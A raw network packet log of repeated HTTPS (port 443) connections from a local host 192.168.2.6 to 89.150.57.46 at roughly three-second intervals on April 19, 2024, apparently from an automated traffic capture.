Apr 19, 2024 15:31:45.731009007 CEST	443	49722	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:46.343486071 CEST	443	49722	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:46.343611002 CEST	49722	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:46.344149113 CEST	49722	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:46.344182014 CEST	443	49722	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:46.345813036 CEST	49722	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:46.345834970 CEST	443	49722	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:46.767226934 CEST	443	49722	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:46.767347097 CEST	443	49722	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:46.767456055 CEST	49722	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:46.774122953 CEST	49722	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:46.774149895 CEST	443	49722	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:48.730602980 CEST	49723	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:48.730648994 CEST	443	49723	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:48.730743885 CEST	49723	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:48.731230974 CEST	49723	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:48.731245995 CEST	443	49723	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:49.353976011 CEST	443	49723	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:49.354060888 CEST	49723	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:49.355000019 CEST	49723	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:49.355006933 CEST	443	49723	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:49.356359959 CEST	49723	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:49.356378078 CEST	443	49723	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:49.769104004 CEST	443	49723	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:49.769179106 CEST	49723	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:49.769188881 CEST	443	49723	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:49.769227982 CEST	49723	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:49.769228935 CEST	443	49723	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:49.769268990 CEST	49723	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:49.769634962 CEST	49723	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:49.769654989 CEST	443	49723	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:51.703883886 CEST	49724	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:51.703972101 CEST	443	49724	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:51.704063892 CEST	49724	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:51.704545021 CEST	49724	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:51.704581022 CEST	443	49724	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:52.317728996 CEST	443	49724	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:52.317806959 CEST	49724	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:52.318274021 CEST	49724	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:52.318283081 CEST	443	49724	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:52.319535017 CEST	49724	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:52.319539070 CEST	443	49724	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:52.725986004 CEST	443	49724	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:52.726105928 CEST	443	49724	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:52.726119041 CEST	49724	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:52.726526022 CEST	49724	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:52.726614952 CEST	49724	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:52.726654053 CEST	443	49724	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:54.661503077 CEST	49726	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:54.661539078 CEST	443	49726	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:54.661648989 CEST	49726	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:54.661921024 CEST	49726	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:54.661979914 CEST	443	49726	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:55.285233021 CEST	443	49726	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:55.285424948 CEST	49726	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:55.285909891 CEST	49726	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:55.285919905 CEST	443	49726	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:55.287431955 CEST	49726	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:55.287437916 CEST	443	49726	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:55.701409101 CEST	443	49726	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:55.701484919 CEST	49726	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:55.701562881 CEST	443	49726	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:55.701591969 CEST	443	49726	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:55.701622009 CEST	49726	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:55.701652050 CEST	49726	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:55.701946974 CEST	49726	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:55.701975107 CEST	443	49726	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:57.665378094 CEST	49727	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:57.665411949 CEST	443	49727	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:57.665484905 CEST	49727	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:57.665914059 CEST	49727	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:57.665926933 CEST	443	49727	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:58.288458109 CEST	443	49727	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:58.288588047 CEST	49727	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:58.289277077 CEST	49727	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:58.289288044 CEST	443	49727	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:58.290680885 CEST	49727	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:58.290689945 CEST	443	49727	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:58.703250885 CEST	443	49727	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:58.703311920 CEST	49727	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:58.703340054 CEST	443	49727	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:58.703377008 CEST	49727	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:58.703387976 CEST	443	49727	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:58.703414917 CEST	443	49727	89.150.57.46	192.168.2.6
Apr 19, 2024 15:31:58.703421116 CEST	49727	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:58.703449965 CEST	49727	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:58.703696012 CEST	49727	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:31:58.703706980 CEST	443	49727	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:00.630342007 CEST	49728	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:00.630434036 CEST	443	49728	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:00.630539894 CEST	49728	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:00.630825043 CEST	49728	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:00.630846024 CEST	443	49728	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:01.247893095 CEST	443	49728	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:01.248147011 CEST	49728	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:01.248704910 CEST	49728	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:01.248735905 CEST	443	49728	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:01.250425100 CEST	49728	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:01.250438929 CEST	443	49728	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:01.655301094 CEST	443	49728	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:01.655402899 CEST	49728	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:01.655476093 CEST	443	49728	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:01.655597925 CEST	49728	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:01.655628920 CEST	443	49728	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:01.655663013 CEST	443	49728	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:01.655689955 CEST	49728	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:01.655720949 CEST	49728	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:01.656177998 CEST	49728	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:01.656210899 CEST	443	49728	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:05.125502110 CEST	49729	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:05.125582933 CEST	443	49729	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:05.125663996 CEST	49729	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:05.126568079 CEST	49729	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:05.126605988 CEST	443	49729	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:05.752593040 CEST	443	49729	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:05.752681971 CEST	49729	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:05.753163099 CEST	49729	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:05.753190994 CEST	443	49729	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:05.757910013 CEST	49729	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:05.757962942 CEST	443	49729	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:06.168911934 CEST	443	49729	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:06.169080973 CEST	443	49729	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:06.169101954 CEST	49729	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:06.169178009 CEST	49729	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:06.169469118 CEST	49729	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:06.169532061 CEST	443	49729	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:08.101794958 CEST	49730	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:08.101856947 CEST	443	49730	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:08.101948977 CEST	49730	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:08.102335930 CEST	49730	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:08.102371931 CEST	443	49730	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:08.726475954 CEST	443	49730	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:08.726594925 CEST	49730	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:08.727093935 CEST	49730	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:08.727118969 CEST	443	49730	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:08.728384018 CEST	49730	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:08.728396893 CEST	443	49730	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:09.141360998 CEST	443	49730	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:09.141654015 CEST	443	49730	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:09.141740084 CEST	49730	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:09.142154932 CEST	49730	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:09.142179012 CEST	443	49730	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:11.128241062 CEST	49731	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:11.128320932 CEST	443	49731	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:11.128420115 CEST	49731	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:11.128865004 CEST	49731	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:11.128901958 CEST	443	49731	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:11.761233091 CEST	443	49731	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:11.761416912 CEST	49731	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:11.762109041 CEST	49731	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:11.762135029 CEST	443	49731	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:11.763823032 CEST	49731	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:11.763835907 CEST	443	49731	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:12.175466061 CEST	443	49731	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:12.175523996 CEST	49731	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:12.175554037 CEST	443	49731	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:12.175596952 CEST	49731	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:12.175605059 CEST	443	49731	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:12.175628901 CEST	443	49731	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:12.175648928 CEST	49731	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:12.175668001 CEST	49731	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:12.175910950 CEST	49731	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:12.175924063 CEST	443	49731	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:14.132498980 CEST	49732	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:14.132548094 CEST	443	49732	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:14.132630110 CEST	49732	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:14.133058071 CEST	49732	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:14.133069992 CEST	443	49732	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:14.744996071 CEST	443	49732	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:14.745100975 CEST	49732	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:14.745600939 CEST	49732	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:14.745608091 CEST	443	49732	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:14.746941090 CEST	49732	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:14.746944904 CEST	443	49732	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:15.152646065 CEST	443	49732	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:15.152745008 CEST	49732	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:15.152772903 CEST	443	49732	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:15.152791023 CEST	443	49732	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:15.152812958 CEST	49732	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:15.152843952 CEST	49732	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:15.153233051 CEST	49732	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:15.153258085 CEST	443	49732	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:17.084059000 CEST	49733	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:17.084115028 CEST	443	49733	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:17.084235907 CEST	49733	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:17.084445000 CEST	49733	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:17.084459066 CEST	443	49733	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:17.707289934 CEST	443	49733	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:17.707444906 CEST	49733	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:17.708121061 CEST	49733	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:17.708129883 CEST	443	49733	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:17.709639072 CEST	49733	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:17.709645987 CEST	443	49733	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:18.122761011 CEST	443	49733	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:18.122888088 CEST	443	49733	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:18.123018980 CEST	49733	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:18.128515959 CEST	49733	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:18.128540039 CEST	443	49733	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:20.103698015 CEST	49735	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:20.103732109 CEST	443	49735	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:20.103840113 CEST	49735	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:20.104161978 CEST	49735	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:20.104171991 CEST	443	49735	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:20.720129967 CEST	443	49735	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:20.720221996 CEST	49735	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:20.720829964 CEST	49735	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:20.720837116 CEST	443	49735	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:20.732387066 CEST	49735	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:20.732393026 CEST	443	49735	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:21.128211975 CEST	443	49735	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:21.128417969 CEST	443	49735	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:21.128438950 CEST	49735	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:21.128571987 CEST	49735	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:21.128978968 CEST	49735	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:21.129002094 CEST	443	49735	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:23.100317001 CEST	49736	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:23.100358963 CEST	443	49736	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:23.100550890 CEST	49736	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:23.100752115 CEST	49736	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:23.100776911 CEST	443	49736	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:23.727385044 CEST	443	49736	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:23.730412960 CEST	49736	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:23.730788946 CEST	49736	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:23.730815887 CEST	443	49736	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:23.732094049 CEST	49736	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:23.732131958 CEST	443	49736	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:24.141594887 CEST	443	49736	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:24.141695976 CEST	443	49736	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:24.141701937 CEST	49736	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:24.141761065 CEST	49736	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:24.142205954 CEST	49736	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:24.142227888 CEST	443	49736	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:26.083415031 CEST	49737	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:26.083498955 CEST	443	49737	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:26.083878040 CEST	49737	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:26.084079027 CEST	49737	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:26.084141970 CEST	443	49737	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:26.712722063 CEST	443	49737	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:26.712833881 CEST	49737	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:26.716761112 CEST	49737	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:26.716811895 CEST	443	49737	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:26.719294071 CEST	49737	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:26.719310045 CEST	443	49737	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:27.130405903 CEST	443	49737	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:27.130645990 CEST	49737	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:27.130671978 CEST	443	49737	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:27.130755901 CEST	49737	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:27.131063938 CEST	49737	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:27.131124973 CEST	443	49737	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:29.053626060 CEST	49738	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:29.053716898 CEST	443	49738	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:29.053808928 CEST	49738	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:29.054127932 CEST	49738	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:29.054162025 CEST	443	49738	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:29.684063911 CEST	443	49738	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:29.684159040 CEST	49738	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:29.684591055 CEST	49738	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:29.684617996 CEST	443	49738	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:29.685885906 CEST	49738	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:29.685899019 CEST	443	49738	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:30.098103046 CEST	443	49738	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:30.098253012 CEST	443	49738	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:30.098397017 CEST	49738	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:30.099201918 CEST	49738	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:30.099225998 CEST	443	49738	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:32.079579115 CEST	49739	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:32.079628944 CEST	443	49739	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:32.080020905 CEST	49739	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:32.080167055 CEST	49739	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:32.080185890 CEST	443	49739	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:32.692202091 CEST	443	49739	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:32.692333937 CEST	49739	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:32.692958117 CEST	49739	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:32.692971945 CEST	443	49739	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:32.694366932 CEST	49739	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:32.694375038 CEST	443	49739	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:33.099340916 CEST	443	49739	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:33.099432945 CEST	49739	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:33.099474907 CEST	443	49739	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:33.099515915 CEST	49739	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:33.099526882 CEST	443	49739	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:33.099555016 CEST	443	49739	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:33.099571943 CEST	49739	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:33.099594116 CEST	49739	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:33.100045919 CEST	49739	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:33.100058079 CEST	443	49739	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:35.050374031 CEST	49740	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:35.050426960 CEST	443	49740	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:35.050502062 CEST	49740	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:35.050776005 CEST	49740	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:35.050791979 CEST	443	49740	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:35.677089930 CEST	443	49740	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:35.677289963 CEST	49740	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:35.677782059 CEST	49740	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:35.677797079 CEST	443	49740	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:35.679088116 CEST	49740	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:35.679095030 CEST	443	49740	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:36.090249062 CEST	443	49740	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:36.090367079 CEST	443	49740	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:36.090509892 CEST	49740	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:36.105626106 CEST	49740	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:36.105659962 CEST	443	49740	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:39.878015995 CEST	49741	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:39.878073931 CEST	443	49741	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:39.878411055 CEST	49741	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:39.878412008 CEST	49741	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:39.878447056 CEST	443	49741	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:40.503400087 CEST	443	49741	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:40.503544092 CEST	49741	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:40.504086018 CEST	49741	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:40.504091978 CEST	443	49741	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:40.505353928 CEST	49741	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:40.505362988 CEST	443	49741	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:40.920871019 CEST	443	49741	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:40.921016932 CEST	49741	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:40.921026945 CEST	443	49741	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:40.921047926 CEST	443	49741	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:40.921072960 CEST	49741	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:40.921170950 CEST	49741	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:40.921525955 CEST	49741	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:40.921540976 CEST	443	49741	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:42.866808891 CEST	49742	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:42.866857052 CEST	443	49742	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:42.866945982 CEST	49742	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:42.867289066 CEST	49742	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:42.867300987 CEST	443	49742	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:43.492408037 CEST	443	49742	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:43.492472887 CEST	49742	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:43.492955923 CEST	49742	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:43.492966890 CEST	443	49742	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:43.494355917 CEST	49742	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:43.494362116 CEST	443	49742	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:43.907011986 CEST	443	49742	89.150.57.46	192.168.2.6
